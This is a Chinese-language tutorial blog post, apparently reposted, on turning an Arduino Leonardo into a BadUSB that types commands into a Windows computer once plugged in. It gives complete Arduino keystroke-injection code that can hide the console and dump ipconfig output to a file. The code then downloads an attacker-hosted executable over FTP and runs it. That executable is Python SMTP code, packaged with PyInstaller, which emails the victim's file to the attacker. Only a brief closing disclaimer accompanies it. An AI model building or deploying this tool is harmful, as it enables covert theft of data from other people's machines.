欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

基于Arduino Leonardo的进阶Badusb(Python+SMTP)

程序员文章站 2022-07-14 08:23:56
...

今天要做的badusb跟上一期比,不太一样的地方是,我加了一个发送邮件的功能,具体来说,就是插入开发板以后,程序自动把该机器的ip地址获取下来,并以邮件的形式发送给指定的收件人.先来看看效果吧:

进阶版BADUSB操作演示

为了让大家看的比较清楚,我没有加入隐藏的功能,这个功能在实际应用中可以加上:

cmd /c start /min

这样就能在打开命令行后,最大化地隐蔽操作.

发送邮件的功能,可以用SMTP实现:
基于Arduino Leonardo的进阶Badusb(Python+SMTP)

#include <Keyboard.h>

void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(1000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  Keyboard.press('r');//r键 
  Keyboard.release('r');
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI); 
  delay(1000);
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  Keyboard.release(KEY_CAPS_LOCK);
  delay(1000); 
  Keyboard.println("cmd"); //"cmd /c start /min"最大化隐蔽操作
  delay(500); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2500); 
  Keyboard.println("telnet smtp.qq.com 25");
  delay(100); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2000);
  Keyboard.println("helo qq.com"); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("auth login");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("base格式的账号");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("base格式的密码");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("mail from:<aaa@qq.com>");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("rcpt to:<aaa@qq.com>");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("data");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("subject:hello");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("Email test!");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println(".");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);

  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{}
  • mail from:发件人的邮箱地址
  • rcpt to:收件人的邮箱地址
  • data:邮件内容(固定格式)
  • subject:邮件主题
  • 最后的"."代表正文结束,回车后自动发送
    基于Arduino Leonardo的进阶Badusb(Python+SMTP)
    以上就是接收到的邮件,发件人和收件人可以写一个地址.

但是,这个方法还太基础,只能根据提前编好的邮件内容发送邮件,想要实现更高级的功能,请继续往下看:

基于Arduino Leonardo的进阶Badusb(Python+SMTP)
以下是接收到的邮件:
基于Arduino Leonardo的进阶Badusb(Python+SMTP)
这是一个带附件的邮件.

简单来说,当我们插入开发板后,程序能把该机器的文件,以邮件的形式,发送出去.

这一部分的功能,我是用Python写的,以下是代码:

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header

导入必要的资源包

# 第三方 SMTP 服务
mail_host=""  #设置服务器
mail_user=""    #用户名
mail_pass=""   #口令
sender = ""
receivers = [""]  # 接收邮件,可设置为你的QQ邮箱或者其他邮箱

设置必要的信息

#创建一个带附件的实例
message = MIMEMultipart()
message['From'] = Header("badusb", 'utf-8')
message['To'] =  Header("测试", 'utf-8')
subject = 'BADUSB 邮件测试'
message['Subject'] = Header(subject, 'utf-8')

subject改成自己的邮件主题

#邮件正文内容
message.attach(MIMEText('邮件发送测试', 'plain', 'utf-8'))

输入你想呈现的邮件正文

# 构造附件,传送当前目录下的 test.txt 文件
att = MIMEText(open('D:\ipconfig.txt', 'rb').read(), 'base64', 'utf-8')
att["Content-Type"] = 'application/octet-stream'
# 这里的filename可以任意写,写什么名字,邮件中显示什么名字
att["Content-Disposition"] = 'attachment; filename="test.txt"'
message.attach(att)
server = smtplib.SMTP_SSL(mail_host, 465) # SMTP协议默认端口是25
server.set_debuglevel(1)
server.login(mail_user, mail_pass)

att里的地址改成附件的本地地址

try:
    server.sendmail(sender, receivers, message.as_string())
    print ("邮件发送成功")
except smtplib.SMTPException:
    print ("Error: 无法发送邮件")

发送邮件

当然,在一台没有安装python的机器上,肯定是不能运行 .py 文件的,因此,我们还要把这个文件打包成 .exe 文件:
基于Arduino Leonardo的进阶Badusb(Python+SMTP)
打包成 . exe 文件要用到一些工具,不是直接改后缀那么简单
基于Arduino Leonardo的进阶Badusb(Python+SMTP)
从文件大小上也可以看出,变成 .exe 文件后,其大小可不只是源文件的一两倍,以下是具体打包方法:

  1. 安装pyinstaller
  2. 找到pyinstaller的安装目录
  3. 将我们要打包的程序copy至pyinstaller的安装目录下
  4. 打开cmd,找到该路径
  5. 输入命令pyinstaller -F badusb_email.py

然后,我们先把打包好的可执行文件放到服务器里:
基于Arduino Leonardo的进阶Badusb(Python+SMTP)
如果资金允许的话,放在云服务器上也是可以的

发送邮件的功能在这里就暂告一段落了,在实际应用中,我们可能很难找到想要的文件,因此,我们可以自己创建一个文件.我今天拿ip地址来举例子.

基于Arduino Leonardo的进阶Badusb(Python+SMTP)
如果我就想要命令行的输出内容,那么,我就把输出内容保存下来:

基于Arduino Leonardo的进阶Badusb(Python+SMTP)
这样,这句命令的输出内容就可以保存到D盘的 ipconfig.txt 文件了:
基于Arduino Leonardo的进阶Badusb(Python+SMTP)
好了,接下来,我们就可以给开发板上传代码了:

#include <Keyboard.h>

void setup() {//初始化
  Keyboard.begin();//开始键盘通讯 
  delay(1000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  Keyboard.press('r');//r键 
  Keyboard.release('r');
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI); 
  delay(1000);
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法 
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  Keyboard.release(KEY_CAPS_LOCK);
  delay(1000); 
  Keyboard.println("cmd"); //"cmd /c start /min"最大化隐蔽操作
  delay(500); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2500); 
  Keyboard.println("ipconfig > D:\\ipconfig.txt"); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2500); 
  Keyboard.println("ftp ip地址");
  delay(1000); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2000);
  Keyboard.println("Administrator"); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  Keyboard.println("123456789");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("lcd D:\\");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("get badusb_email.exe");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("quit");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(500);
  Keyboard.println("D:\\badusb_email.exe");
  delay(500);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{}

基于Arduino Leonardo的进阶Badusb(Python+SMTP)
如果你能把以上程序调通,就说明你的badusb已经做好啦!

最后,我想说:“技术是服务于人的,在技术能力增强的同时,应该要更多地意识到技术的双面性,从人出发,而不是从产品出发.”

本文存在一定的攻击性,请勿用于非法用途,一切责任与本人无关。

基于Arduino Leonardo的进阶Badusb(Python+SMTP)